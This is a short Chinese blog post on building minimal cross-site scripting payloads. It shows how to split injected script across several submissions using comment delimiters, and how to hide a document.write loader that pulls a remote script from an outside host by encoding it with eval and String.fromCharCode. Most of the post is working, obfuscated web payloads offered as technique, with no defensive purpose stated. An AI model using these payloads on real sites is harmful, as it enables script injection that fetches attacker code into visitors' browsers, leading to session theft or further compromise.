昔日

最短的跨站

WinExec:


<script>open(/*
*/"http://127"/*
*/+".0.0.1/"/*
*/)</script>


这其中的/*和*/是script的注释语句,将这些语句分别提交,同样的条件是这些提交的代码必须在一个页面中,这样最后所显示的就是:


<script>open(/*不会显示的无效内容*/"http://127"/*不会显示的无效内容*/+".0.0.1/"/* 不会显示的无效内容*/)</script>


那么这个的最短的语句是多少呢?貌似<script>不能分开应用,除了这个,script所定义的函数比如open之类的,好像分开后也不能正常运行了,/jmdcw/这样的话,


先将最上面的语句:document.write("<script src=http://www.pc010.cn/1.js></script>") 转为10进制表示字符:


100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59


然后用eval加String.fromCharCode来执行:

<script>eval(String.fromCharCode (100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59))</script>


下面就用剑心的方法来进行拆分:

<script>/*
*/eval(/*
*/String/*
*/./*
*/fromCharCode/*
*/(100,/*
*/111,99,/*
*/......./*
*/59))/*
*/</script>


中间的....表示的字符和前面的一样,这其中最长的一个语句是:*/fromCharCode/* ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。


BY 寂寞的刺猬

评论

热度(1)

  1. 昔日WinExec 转载了此文字